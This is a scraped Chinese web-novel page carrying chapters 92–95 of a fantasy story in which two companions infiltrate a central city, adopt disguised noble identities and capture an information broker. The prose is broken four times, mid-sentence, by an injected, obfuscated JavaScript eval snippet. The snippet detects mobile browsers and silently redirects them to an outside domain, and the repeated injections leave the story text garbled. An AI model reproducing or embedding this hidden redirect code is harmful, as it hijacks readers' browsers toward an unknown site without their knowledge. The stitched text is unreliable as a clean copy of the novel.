;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265604|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对于这样的二次试探,她只是用那双毫无波澜的眼眸直视对方并给出回应: “当然,这是我对你的承诺。”亦是她的报复。 闻言苏岚叹了一口气有些头疼地揉着眉心:“抱歉,是我不该起疑心的,只是最近遇到的事情总是在超乎我的预料。” 她抬手,布置精妙的法阵顺着脉络闪烁光芒出现在二人面前。法阵的核心是一件漆黑镇物,也是神令共振的源头,是苏岚刻意让其和神令共振将刀语心引至这里。 虚影朝刀语心伸出手:“把神令放在法阵中央吧,可以把它暂时封印在这里。” 这样一来狂信徒就无法定位刀语心,没有了预言预示和神令定位,可以说她彻底藏匿在阴影之中。 “这次来找你大概是我们近期最后一次见面,中央城的事宜大多都由罗茜安排,也有其他秘苑的人会配合你。锻造的材料找到多少了?” “还差最后一件。” 刀语心用异化之力把所得到的海域玄铁和在遗忘之乡得到的冰魄木托住,展示在苏岚眼前。 她的视线淡淡扫过,刀语心并没有从中察觉到其他任何意味。 “仅剩的材料就在中央城,只是占地太广加上内部势力错综复杂要一段时间探查。得到所有材料后,你还需要一个熔炉锻造,普通的熔炉完全无法承受神阶武器的诞生,你必须去邪魔域。” “世界熔炉就在那里。” “世界熔炉是什么?”是一个地名还是一件道具? 听到这里苏岚才终于将视线移到谢止沉身上,而后他开口补充:“现位众神之主有点太贪生怕死,于是禁止所有神阶武器锻造,祂把所有的熔炉捏成一个最终投放到这个世界。” “也就只有你愿意这么称呼那个篡位者。”苏岚语调有些讥讽,不过针对的并不是谢止沉。 “祂应得的。”谢止沉面不改色地回应。 “除开武器,就剩下你身上的三重诅咒还待解决。”对于苏岚知晓诅咒刀语心并不觉得奇怪,苏岚能在另一个世界接触到更多她所不能触及的东西。 “我找到了一些他们曾经研究诅咒的残卷,但还有些东西没来得及全部集齐。”说完苏岚将残卷和有关解决诅咒的材料交给刀语心。 “谢谢你。” “不客气,这是我应该做的。”说着苏岚的视线向身后微侧,刀语心顺着她的视线看去那里没有异样,是有人在另一片空间干扰她。 “我得走了,前面有个传送阵直达中央城,预祝你前路顺遂。” 简单告别后苏岚的身影闪烁片刻就彻底消失在二人面前。 这一次苏岚的到来给刀语心指引更加清晰方向的同时,也给她制造出更多疑惑,好在身旁之人也能为她细细解答。 “苏岚和那位所谓的神主所在的另一个世界是什么样的?和这个世界又有什么关系?” “和这里没什么太大的不同,无非是能力体系更成熟势力扎根更深一些,所谓的神也只是拥有更高层次力量的生命体。至于后者,你可以理解为桥梁是树的主干,世界则是不同的树叶。” “海域又在哪里呢?” “海域是万物初始,独立于无数世界之外,那里也是我们诞生的地方。” 密闭空间中回荡着二人你一言我一语的声响,沉思片刻后刀语心没再提出其他更多的问题,她微微侧头看着身旁之人说道: “等到一切结束,我们一起回去看看吧。” “好啊。” 92. 第 92 章 虽有法术屏障隔绝了海水,但水下洞穴中还是生长着许多植物。 路的两侧是很大的坑洞,有些不知名藻类附着在岩壁上泛着荧光为他们指引前路,一路上他们没再遇到什么危机,在即将抵达尽头传送阵时刀语心闻到一股陌生气味。 不知不觉间视野中也被淡淡的红雾覆盖,透过微光能够看到水坑中生长着绯红色的奇异珊瑚。 刀语心没注意到头上的发饰已经开始运转,只觉得有些莫名的热意。 她想查看谢止沉的状况,转身就和他对上视线。 接收到注视后他先是微愣紧接着下意识就展出一个笑容,常年暗红的眼眸很好掩盖住他的压抑,他抬手施展着法术为刀语心驱散异样。 “我们快走吧。”谢止沉声音有些低沉地说道。 “好。” 踏入传送法阵白芒闪过后,他们已然从水下岩洞来到中央城内。 四周漆黑一片,只从窗户的缝隙中透进点点光线。他们所处的位置看起来是一个空置房间,里面的物件都被绸缎罩起防尘。 耳边传来明显的呼吸声,刀语心这才发现谢止沉面上浮现着不正常的红晕,眼神也有些迷离。 “怎么了?”她用手背贴近他的额头,有些发烫。 他直勾勾地盯着刀语心一会后,嗓音暗哑的开口:“刚才的是处于……繁殖期的绯雾珊瑚,它们会在分泌信息素用来延续族群,大部分时候都是溶于水流中但在特定条件下也会形成气雾。” 答非所问。 还没等刀语心弄清楚谢止沉到底是怎么一回事,就听见房间外传来一些不同寻常的声响。 “这里面有法术波动。”隔着门板外面的杂声传入他们耳中,“让我们进去检查。” 房间只有一个出口避无可避再加上谢止沉现在状态不对,刀语心挑起绸缎带着他躲进衣柜中,等到必要时刻再出手。 她可不想刚到中央城就被通缉和围剿。 柜子不算小但上下分层,谢止沉被刀语心先一步塞进去,而她弯着身子握着剑警惕地透过细小间隔和绸缎观察外界。 他靠在她的脖颈处,温热的呼吸打在她的皮肤表面。 忽然间她感受到一点痛意,微微侧头发现是谢止沉在咬她的颈间,他并没有用力咬破,而是不断细密啃咬和舔舐。 “干嘛?变成小狗了?”她声音低了些,但语调还是一如往常的平静, 听得出来刀语心并没有责怪自己的意思,谢止沉停下动作伸手搂住刀语心的腰,借此机会刀语心抵住他的额头片刻再次感受温度,依然没有降下来。 “怎么不治疗自己?”他先前明明可以帮她解决身上的异常温度。 她抬手抚上他的脸颊,他在下意识蹭她的掌心。在和刀语心对上视线后,谢止沉轻笑着回答:“我故意的。” “姐姐,帮帮我吧。” 被情热烧灼得不太清醒后,他主动向她求救。 “不愿意也没关系的。”说着谢止沉不由自主地把刀语心抱得更紧一些,他也知道自己这是在无理取闹。 捕捉到足够的暗示后刀语心也迟迟意识到谢止沉想要什么。 垂眼看着不太好受的谢止沉,她也有些担心,他身上的温度太烫了。 她不再犹豫,俯身凑近。 偏偏房门在这时被人打开了,稀稀拉拉的脚步声争先恐后地冲进屋内,刀语心本该持续的动作赫然顿住。 但交织的气息并没有因此中断。 谢止沉的手不知什么时候移到刀语心的后颈将她轻轻扣住,他也仰起身来将二人之间的距离彻底归零,就像是沙漠中即将濒死的旅人,拼尽所有也要得到救赎。 不同于先前在海中的浅尝辄止,刀语心只觉得自己的呼吸被全数掠夺。 她想要拉开距离获得些许喘息的空间,可不过片刻又被彻底夺走。 “我说你们差不多得了,难不成还要我把这些布掀开再打开柜子给你看看里面有没有藏人啊?”在房东的责骂声中,周围重归寂静。 在那之后不知道来来回回多少次后,相互纠缠的两人终于分开。 狭小空间中只剩获取空气的凌乱呼吸声,和在各自胸腔中无法迅速停歇的猛烈心跳。 没有任何光线的黑暗中,刀语心只觉得自己要被谢止沉的眼神再度灼烧,于是她先一步把他看着自己的眼睛蒙上。 “不准看。” 被夺走视线的谢止沉也不反抗,只是笑着求饶:“姐姐,我错了。” “也不许喊姐姐。” “好吧。”说着他顺势牵起刀语心空闲的手又亲了一下,他从未放开过。 得到自己想要的奖赏后谢止沉就恢复正常,此刻面色泛红的人反倒是变成了刀语心。 等到她平复好心跳后,先一步推开柜门起身再接着把谢止沉拉起来,刀语心几步走到窗边稍稍拉开帘子打探着外部景象。 天色渐晚,落日余晖正缓慢溃散。 塔楼指针垂直一百八十度后街边路灯接连亮起,许多身穿银白色系制服的人从大门流出,路口有人在发传单不过没有任何一人接过,在转角出现一群红衣人后发传单的那人便匆匆跑开。 一阵黑烟将她的视线勾去,延伸后她看见一个庞大机器在永不停歇地运转。 随后猛烈的碰撞声让她目光重新转移,是有一辆载具超速闯过制造一场灾祸后扬长而去,众人对此见怪不怪只是绕路前行,很快有人前来施法将被损坏的建筑修补,无人在意被夺走的性命。 红衣人围在那里片刻后,将尸体用法术拼凑起来后带走。眼前呈现出的一切是刀语心从未见过的景象,可她觉得有些太过荒唐。 放下帘子重新观察四周后,刀语心确定这里就是一个平平无奇的房间:“传送阵也不见了。” “法阵是单向选择落点的,把我们传送到这里后就会自动消失。我们现在应该是在南区,之前我偶然来过这里,这次就让我给你当向导吧。” “那我们走吧。”得到刀语心的回应后,流光就带着二人消失不见。 在一个小巷中,他们从黑暗中并肩走出来到灯光之下,刀语心好奇地打量着周边建筑。 “中央城分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276996|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为东南西北中五个板块,北面基本属于神和神的信徒,离开中央城再往北走就是神域,说起来神域才是残存区的最中心,中央城只是人类聚集地的最中央。” “我记得西区大部分是住宅区,我们现在所在的南区是工业区,东区则是家族和各大势力盘踞的地方,中央区则是负责行政一类。” 罗茜给的安全屋地址在东区,离这里还有大半地块。 “流光捕捉到的消息说最近狂信徒在中央城四处找人,不过不用担心,他们不会注意到我们。”二人有斗篷加上谢止沉施展法术可以降低存在感。 “虽说法术多种多样,但这真是个奇怪的法术。”没有华丽的轨迹也没有任何感觉,“是你自己研究的吗?” “是的,因为以前我想偷偷溜出去玩不想被人打扰。” “真厉害。” 收到刀语心夸奖的谢止沉扬起嘴角。 中央城可以划分为九个格子每个区域占两格,区域与区域之间有厚厚的围墙和透明屏障作为阻隔,好在这无法将他们拦下。 刀语心观察到东区和南区是完全不同的两种风格,比起工业区的冰冷和生硬,东区显得更加华贵。 空气不再是刺鼻转而变为食物的香味,这里的往来人群衣着光鲜亮丽不是单一或者暗沉的色调。 一路上没再生出什么事端,他们边走边逛在宵禁之前终于来到目的地,这里只有一辆黑色载具。刀语心抬手触碰后浮窗弹出,输入罗茜告知的密码后载具就自动解锁。 载具被提前设置好了路径,他们坐稳后就开始自动驾驶。 不久后一扇蔷薇花印记的浮雕大门呈现在刀语心眼前,随后就缓缓朝他们敞开。 月光照耀下喷泉的水柱在不停歇的翻涌,坐在载具内部能听见隐隐约约的水声传来,一盏盏做工精细的夜灯在道路两侧延伸,在道路的尽头一幢宅邸静静矗立于夜色之中。 直达房屋门口,刀语心离开载具后就见到门口有人等候。 “主人,欢迎回来。”机械质感的女声开口,看起来是没有自主意识的仿生人,也就是说这座宅子里除他们之外并没有活人存在。 “需要为您准备晚餐吗?” “不必。”她和谢止沉在来的路上就吃过了,包装各异的袋子还待在她的空间戒指里。 得到回应后仿生人为她推开门,走进屋内映入眼帘的就是栩栩如生的蔷薇雕塑,屋内是极致的静谧除开他们的脚步再无任何声响。 移步来到会客厅,木质长桌上赫然摆放着两枚终端芯片和一个说明面板。 将面板从桌上拿起后,刀语心一目十行地扫过身份设定: 残存区东部最大人类聚集区中的金发碧眼大小姐维罗妮卡,和身为她管家护卫骑士的表弟莱恩。 看到这里刀语心滑动的手指和目光一同顿住,而在她身侧的谢止沉已经搂上她的腰,和她耳鬓厮磨,她能清晰感受到那柔软的唇瓣在描摹她的耳廓。 紧接着一声轻笑传入她的耳中,是谢止沉在笑着询问:“怎么不继续往下看了?” “表姐。” 93. 第 93 章 手里的机械面板几乎要被刀语心捏碎,残存的理智让她止住力气,将所有不该出现的情绪压下后她冷冽的声音在房间中回荡: “这可不是主仆该有的距离。” “遵命,姐姐大人。”谢止沉见好就收,轻吻她的指尖后就拉开距离,没再做出干扰她思绪的举动。 说不让他叫姐姐他也的确也没叫,思及至此刀语心在心中叹气,她拿他没什么办法。 灼人的热意终于退却,她静下心来开始整理要点。长桌下有一个暗格,将其中的按钮按下后周围出现大片空白投影,刀语心在上面整理着思路。 她需要解决两件事,诅咒和锻造。 解除诅咒是为了摆脱任人摆布的命运,锻造神阶武器亦是如此。吴阿婆的死因、残存区锻造师稀少、救世会逼迫她选择和苏岚让她锻造的缘由已经明了。 确认宅邸有布置隔音法阵后,她眼神淡漠地盯着被自己圈起的线索开口: “是不是只有神阶武器才能杀死那些所谓的神?” “没错。” 残存区的神因为害怕死去所以更改规则限制职业树的发展,使得半神阶以上的材料宝物极度稀缺,对锻造师进行屠杀以此来达到震慑。 思及至此,那双无底的漆黑眼眸因厌恶而眯起眼。 不论是给予她神令的神,还是在其他世界妄图操纵她命运的家伙,刀语心明白这些神明是一切的罪魁祸首,而她要做的就是锻造出武器,然后—— 彻底杀死祂们。 至于诅咒目前有两个可行的方法,一是找到并杀死施咒者,二是收集材料逆转并消解诅咒。 前者,她有打算趁着自己在中央城清算救世会和占星会,后者则可以在收集锻造材料的途中留意,苏岚也为她找来了绝大多数,还有关于诅咒的残卷。 “你知道上面写了什么吗?”残卷上是刀语心完全陌生的字符,她只对部分咒文熟悉。 “知道,这是我从前所在世界的通用语。”谢止沉将上面的内容一点点念给刀语心听。 研究一会后,刀语心发现缺失部分可以用已知一重和二重的咒印补充,剩下无法补充的地方可以用棱体推演,代价是无止境的金币消失在空间戒指中。 工程有些繁琐和浩大,好在谢止沉也能补充一些,“我需要一点时间。” 残卷上有写解除诅咒需要的材料种类,即便算上苏岚和刀语心收集的一部分也还缺很多,在她身上的诅咒是精心研制的成果,自然无法轻而易举地解除。 中央城的确宝物汇聚,刀语心通过棱体调出共振频率,纷繁复杂的线条呈现在他们眼前。 只是在杂乱的频率中谢止沉发现其中并没有解决诅咒所需要的部分。 “我需要借用一下你的钥匙,就是遗迹亚空间里获得的那一半。” “你去找材料吗?”说着刀语心就将与自己灵魂绑定的钥匙交给了谢止沉。 “对。” 神明无法染指的地方只剩下亚空间,当初遗迹亚空间意识给了谢止沉位置,两把钥匙足够他闯入任何一个亚空间,空闲时间内他可以去收集对刀语心有用的东西。 至于为什么不和刀语心一起? “你已经背负着太多,就让我为你分担一点点吧。” 听到这话的刀语心一怔,在即将开口的前一刻却生生止住,因为谢止沉正抬手用指腹轻轻摩挲着她的唇瓣。 他知道刀语心会说什么。 看着没有抵抗他触碰的刀语心,谢止沉眼神含笑着说:“你永远不用和我道谢,更不必对我抱歉。” 唯独她,也只有她。 这也引出一个新的问题,刀语心在想自己空闲时该做什么呢? 一只嘎嘎叫的乌鸦落在窗台,莫名的叫声将刀语心的视线引去,只见它轻巧地跳了进来,在落地的瞬间化作罗茜的模样。 依然是一头灿烈至极的红发,比起养伤时罗茜此刻的脸色好了更多,完全可以说是盛放灼人的玫瑰。 “好久不见,亲爱的。”上一次她们见面还是几月前在无名镇,她先和刀语心问好后又朝谢止沉简单挥手。 “好久不见。”她大变活人的方式让刀语心有些好奇,“我记得你是纯正人类血统吧?还是说你也有什么不为人知的异兽传承?” “别担心,一点掩人耳目的小把戏罢了。”罗茜如今也见不得人,她才在无名镇假死脱身过。 “看来我们同病相怜。”刀语心才甩开烦人的追杀没多久。 说着她拉开椅子坐下,谢止沉自然坐在她身旁,罗茜坐在刀语心对面朝二人推来物件。 三人在长桌边展开交谈。 “这是什么?” “伪装道具。” 拿着黑色小方块在手掌把玩,刀语心发现这道具可以变换成很多不同形状,颈饰、胸针、耳钉、臂环……都是些简单样式。 最终她选定黑色简单颈环后,谢止沉从她手上拿过为她戴上。 看着两人彼此熟稔的一幕罗茜眉眼微弯,等到刀语心确认无误后她才开始缓缓讲解:“我已经在装置里给你们预设好伪装身份的各项信息,当然如果你们有需要也可以用它来伪装成其他人。” “中央城真是人才辈出。” “这个装置的确好用,不过它的设计者可算不上什么人才,那人是彻头彻尾的疯子。” 对于这人罗茜简单吐槽一句并未打算多说,她话锋一转询问刀语心:“这是你第一次来中央城,感觉怎么样?” “我不喜欢这里。”刀语心毫不犹豫地给出答案。 “我也是。” “那么为了能让你早日离开,我有什么地方可以帮到你吗?”罗茜此行的目的就是询问刀语心的需求。 “我需要找到合适的宝物。” 藏宝图上的红圈圈中的是整个中央城区块,他们从前所到的地方基本有很明确的指向,但在中央城却毫无头绪。 又或者说,红圈只负责圈起目的地,需要什么则是要看她的取舍。 “有什么地方是宝物聚集地吗?” “联合财团的宝库。” 在罗茜的介绍下刀语心对联合财团和六大家族有了更多的认识。 六大家族分别是迟、宋、温、苏、周、秦。迟家负责材料资源倒卖,宋则是日常生活一类,温家是药剂,苏家是装备道具,周是猎杀异兽,秦是医疗方面。 在商业上他们各自经营板块,绝大多数时候互不干涉偶尔会有合作,碍于天灾人祸频繁发作他们合力打造一个牢不可破绝对安全的宝库,需要六把家主之钥才能完全开启。 “钥匙应该不是普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284914|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通的道具吧?” “没错,钥匙是通过血脉传承,若是持有者被杀死会自动回归到血脉纯度最高的继承人身上。” 那么强行抢夺的道路就被堵死了,他们还必须是心甘情愿地交出钥匙。 “得把他们所依存的一切都毁了然后去威胁他们呢。” 听着刀语心平静地说出不得了的话,罗茜脸上则是笑容更盛。 “正有此意。” 只见罗茜简单操作后,全息投影全部换成另外一部分信息,简单浏览后刀语心就明白罗茜的用意,她准备争夺周家家主之位。 感受到刀语心的目光后罗茜也摊手大方承认:“我是周家所谓的私生女,随母姓。” 这也是她需要假死的缘由之一,她一直以来都活在监视之下并备受利用。 迟、宋、周三家还好,刀语心有把握可以用利益来和迟明煦谈合作,罗茜身为宋齐曾经的上级也可以和他联手,周家的钥匙罗茜也会顺带解决。 剩下的三家,温、苏、秦。 “温家与世无争完全不像商人更像是慈善家,一直以来入不敷出,近几年还持续被秦家挤占市场,药剂大多数利润都是来源于治疗,秦家一直在联合苏家不断推出更低廉治疗装置。” 听起来温家是个比较好拿捏的软柿子,相比之下苏秦两家就有些无处下手。 “苏家善于锻造,有个造诣很高的怪人在为他们效力。” “秦家现任家主野心勃勃,戒备心很重难以插入眼线获取信息,他们和苏家有合作这可能是一个突破点。以及据我所知秦家在暗地里经营着一切违法产业,当然,违背的是神殿设立的基本法。” 在残存区位于这些庞然大物之上的也就只有神殿。 “可以借刀杀人。”刀语心指尖在桌沿轻点,她明白前提是需要充足的理由。 “除开这些背地里的动作外,明面上你需要偶尔出现。过几天恰好会有一场苏家举办的宴会,身为东部大小姐维罗妮卡不出意外也收到了邀请。” 这也是必要的伪装,一直隐藏在暗中毫无举动也会引起警觉。 “秘苑弄的这两个身份又掌握着什么资源?” “法术资源。” 苏岚从其他世界带来的法术对残存区就是降维打击,这也是为什么秘苑能迅速掌握东部的关键所在。 “几大家族都要争着抢着要和秘苑合作。”说到这里罗茜脸上勾出嘲讽的冷笑。 “我需要给你们谋取最大利益吗?” “这倒不用。大小姐不需要负责亲自谈判,你就简单出面然后安心在宴会上玩一玩就好。” 毕竟秘苑又不是商会,协助刀语心才是优先级最高的目标。 “维罗妮卡是凭空捏造出来的人物,之前都是傀儡在扮演不需要有心理负担。中央城对东部掌握的信息并不多,之前在外界展露的时刻也是少言寡语,你随意就好。” “还有几天时间,接下来你的打算是什么?” 面对罗茜的问询,刀语心在脑海中思考,梳理目前信息可知得到最后一件锻造材料需要处理的就是苏秦两家,而为苏家效力的那人就是突破口。 只是在思考的间隙,她眼前浮现出巫津那张令人厌恶的脸。 停顿片刻后她给出回复:“我得……先去找个人。” 94. 第 94 章 东区城门处。 “为什么我们不能出去?检查通过了手续也齐全,你们凭什么还拦我们?”手下在大声嚷嚷打抱不平,在他身旁的巫津面上笑眯眯,神色看不出喜怒。 只是任谁都能感受到他现在十分不爽。 先是被告知失去刀语心的踪迹,再接着是无法预知她的下一步行动,接连不断的噩耗无疑将他埋藏在心底的恐慌点燃。 被刀语心找到的话他只有死路一条。 曾经的他原以为只要软磨硬泡刀语心总会原谅他的,但他错了,错得彻底,诅咒带来的剧痛如同用汽油浇火一般,只会让她的憎恨无止无休。 当年遭受背叛后刀语心大抵就想杀死他,只是诅咒的疼痛让她暂时失去行动力,她沉默着蛰伏在暗中养伤,然后在重获自由后差点将他活活打死,巫津离开无名镇的最主要原因就在这里。 被掐紧脖颈无法呼吸又被生生折断手骨的滋味可不算好受,更别提其他,过去的记忆常常让他在噩梦中惊醒。 她不会放过他,绝对不会。 从前敢一次又一次的挑衅是因为有预言给他提前带来信息清扫未知,而如今这一优势消失得无影无踪,他必须直面萦绕着他的梦魇。 才不。 巫津选择逃走,和过往一样。 偏偏狂信徒这些疯子不仅天天在大街上巡游,设下大型法阵让整个中央城无法使用向外的传送阵,守住每一个通往外界的路口,甚至连下水道都不放过。 “你们到底想要什么?钱?还是宝物?”巫津咬着牙地问。 “我们可不需要这些庸俗的东西,我要的是神明的注目。除非你能让神明大人多看我一眼,我倒是能大发慈悲放你出去。” 为首的狂信徒毫不避讳地承认自己的目的所在,那双血红可怖的眼睛上下打量巫津后发出一声嗤笑。 “很明显你做不到。不想现在就死的话就回去乖乖待着吧,等我们找到了人你自然能离开。” 在这群疯子找到刀语心之前他恐怕就会死。 身为救世会核心的主教不知道什么时日才会从帝国回来,她倒是逃之夭夭了,他就快要死了。刀语心会找到他的,或早或晚。 是啊,刀语心会找到他。 巫津知道因为吴德的缘故刀语心被神赐下神令,狂信徒遵从神的指引在找的人就是她,而刀语心来到中央城绝对会来找他。 他深知自己的不堪,他想活着,即便是苟延残喘他也想活下去。 但如果是和她一起下地狱的话…… 忽然间,巫津身上缠绕不散的阴郁开始消退,他笑着睁开眼其中流过不明诡谲,而语气正转变为更可怖的扭曲:“把我当作诱饵吧。” “她一定会上钩的。” 众人前脚刚离开,城门不远处就又走来两位不同寻常的客人。 街边的落地橱窗短暂倒映着走过的身影,夺目的金色长发随着走动更加晃眼,一席精心定制蔷薇暗纹繁复的衣裙无不彰显着此人身份尊贵,她的眼眸更是如夏日碧波一般绚烂。 只是在那翻涌着浪花的表象下是毫无起伏的漆黑深邃。 这是经过伪装的刀语心,谢止沉在她身后半步身穿裁剪得体的西装,在外人看来他们都是金发碧眼只是他眼眸的成色不及血脉正统的大小姐。 不过在彼此眼中他们还是原来的模样,这是一个只属于他们两个人的法术。 刀语心知道巫津是想逃走的,狂信徒到处围猎她的同时也在帮她围网,而她所要做的就是在不惊动撒网人的前提下在网中将他猎杀。 北区是神殿的地盘,再远一点就是神域,四舍五入她此刻就是在狂信徒的大本营中,她必须万事小心。 思绪间一道人影掠过他们,刀语心没有在意但谢止沉的目光随着那人的移动有些许偏移。 “怎么了?”身旁之人的突然停步让她侧身询问。 “看到了一个老熟人。” “那个把我骗进遗迹想困死我的情报贩子。”如果没有遇到刀语心,他必须把那里全部毁了才能逃出来。 交谈间一队红衣人从他们身边走过,大抵是想搜查他们二人,但在看到刀语心身上的蔷薇胸针后狂信徒们熄了火,秘苑的人没必要招惹而且任务目标是从残存区西南方来的和东部无关。 这么想着为首之人带队离开,在离去的途中他听见那位大小姐开口: “我想吃转角那家的限量司康。” “遵命。” 两人对视一眼后就分道而行。 情报贩子从今天早上起来就有些不对,他先是砸碎了玻璃杯又被碎片划伤了手,接着是脚滑从楼梯上一路滚下来,准备买个喜欢的面包却发现已经挂上了售罄的牌子 今天真是倒霉透了,他想。 还有什么更倒霉的事吗?差不多该放过他了吧? 熟悉的地方会让他稍许安心一些,在来过无数次的店铺喝上一口热茶,不幸的是他视线再一次出现一抹金黄,冒着热气的茶饮没有给他带来温暖,反而让他心下一凉。 一次可以说是巧合,那一路上发生的无数次呢? 那位看起来就是贵族大小姐的身影就这么巧地和他走了一路? 可他怎么想也想不通自己到底是哪里招惹了对方,身为情报贩子他的记忆力并不算差,他知道对方是秘苑大小姐也知道自己从未见过她。 再三衡量下,信息不足的他选择先逃。 匆匆留下小费后就快步离开,撞到人也只是说声抱歉就跑走,他有预感再待下去一定会发生更不好的事情。 来到一个十字路口,原本打算走的直行路被围栏拦起,他转向左侧却发现有红衣人在拦截,求生的本能让他朝着右侧道路离开,很显然他也是个黑户禁不起查。 他进入了南区。 工业区的工作时间只有很少的人在路上闲逛,他凭借着记忆在大街小巷中穿梭,东躲西藏。 气喘吁吁的他窜进一个夹缝屏住呼吸,他藏着暗处看着那抹明黄的身影逐步远离。 终于,他松了口气。 他忙不迭地打算回家避一避,刚压下心跳不久,就在下一个拐角他就见到了完全不想见的人——黑发红眼,曾经被他欺骗的恶魔此刻笑吟吟地站在他面前。 情报贩子转身就想跑,可来时的路已经被人堵死。 只见大小姐一只手拎着繁琐的裙摆一只手拿着剑慢悠悠地朝他走来,她卸去了伪装,而后站在原地用那双空无的眼盯着惊慌失措无处可逃的猎物。 他腿脚一软差点一口气没上来。 身为情报贩子他脑子并不算笨,不然也做不到把谢止沉骗得团团转,在看到刀语心的一瞬间他就意识到这是那位大小姐的真身,她和谢止沉是一伙的。 完蛋了,他想。 知道秘密的人是活不久的,更何况她敢暴露就说明她做好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295691|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了绝不会让他威胁到她的准备。 他们是猎人,而他是被狩猎者。 “知道害怕那就一开始别做亏心事。”谢止沉慢悠悠地说着朝情报贩子走去,指尖稍动流光就将对方五花大绑起来。 “大人!我也没办法啊大人!都是他们逼我的,我上有老下有小……” “闭嘴,少说废话,这里没人会放过你。”刀语心冷声打断情报贩子滔滔不绝的借口。 “谁逼你的?”谢止沉并未生气,语调平稳地询问。 刀语心和谢止沉扮着红白脸一唱一和,只不过在情报贩子眼中,这两人都和魔鬼无异。 他咽下因紧张和恐惧分泌的口水,结结巴巴地说:“他们、他们给我下了反制,说出来的话我会立刻就死掉的。” “估计就是占星会。”除开预言之外,刀语心想不出对方无故发难的理由。 听到这个名词,情报贩子什么都没说赫然打了个冷战,他浑身僵硬的举动已经佐证出这一点。 占星会并没有完全知晓谢止沉究竟是谁,他们预言到存在这一变量有极大概率会干扰到他们精心设计好的进程,于是他们设了一个局将他困住。 若不是在遗迹相遇,谁也说不准他们相见时会是什么情景,属于他们的重逢更会往后无限制拖延。 世界上发生的一切皆由无数的选择构成,有些无关紧要,而有些则会将一切事务带往另一个无人知晓的方向。 不知为何,刀语心想起另一个世界的自己,只是她已经无从知晓对方的遭遇,如今她能做的只是让自己走在她所期望的道路上。 “要杀了他吗?”她询问,选择权在谢止沉。 听到这话的情报贩子差点两眼一翻晕死过去。 “暂时不用。”他先回应刀语心的问题后,又对着情报贩子开口:“我可以给你一个将功补过的机会。” 情报贩子当然要找情报了。不论是杀人还是寻宝刀语心都需要很多信息,谢止沉和罗茜都有收集情报,但情报这种东西越多越好,只有足够了解敌人才能见招拆招。 谢止沉施法让情报贩子不能泄露有关他们的信息,他也必须做出实际行动来换取自己的性命。 为了活下去情报贩子也知无不言,他在中央城混迹许久,有些已经不再敢提及的隐秘过往他也都知晓。 譬如六大家族的秘辛、几大势力的往来、狂信徒和神殿的关系诸如此类,他对神明也毫无敬畏之心,甚至光天化日之下绕开特定字眼开始和刀语心二人说祂的坏话。 “那位不可说的存在其实才不是那些愚昧信徒口中的慈悲模样,祂的真实面目和那些疯子没什么差别。” 天色渐晚钟声响起,不知不觉间到了工业区的下班时间。 眼看街边人群开始增多,刀语心打断情报贩子的闲话:“回去整理成详细文档后发给我,谢谢。” 虽然之前说话很吓人但这贵族大小姐还蛮有礼貌的,他心想。对方还给了他一小袋金币,甚至提出如果情报有帮助会额外给他更多报酬,在性命威胁和金钱利诱下情报贩子罕见地燃起了斗志。 至于接下来调查的目标,刀语心给了他两个人选:一个是巫津,一个是主教。 听到主教后情报贩子若有所思,“救世会的主教很邪门,谁也不知道她究竟想做些什么。”明明不是预言家,但她总能知晓自己仇敌下一步的动静,从而让自身自始至终立于不败之地。 95. 第 95 章 目送情报贩子离开后,谢止沉将一小袋还热乎的司康递给刀语心。 看着并未察觉不对的少女,他略带些许苦涩开口:“是主教夺走了本该属于你的天赋。” 刀语心被封印的天赋是绝对直感,和情报贩子口中描述一模一样。 “我们之所以会被不怀好意者利用,很大程度上是因为我们在他们眼中是拥有价值的,我们所拥有的一切被他们估价,而天赋就是体现价值的其中之一。” 自诞生之日开始,他们便被视为棋子。他们的每分每厘都会被拿上天平称量估算,一丝一毫都会被加以利用。 这就是他们被加害者刻下的命运。 在独自背负这份痛楚不知多少个时日,发觉重要之人也在承受相似相同的苦难后,谢止沉的愤怒在一片死寂中掀起波澜,将无数日夜积沉的麻木驱散。 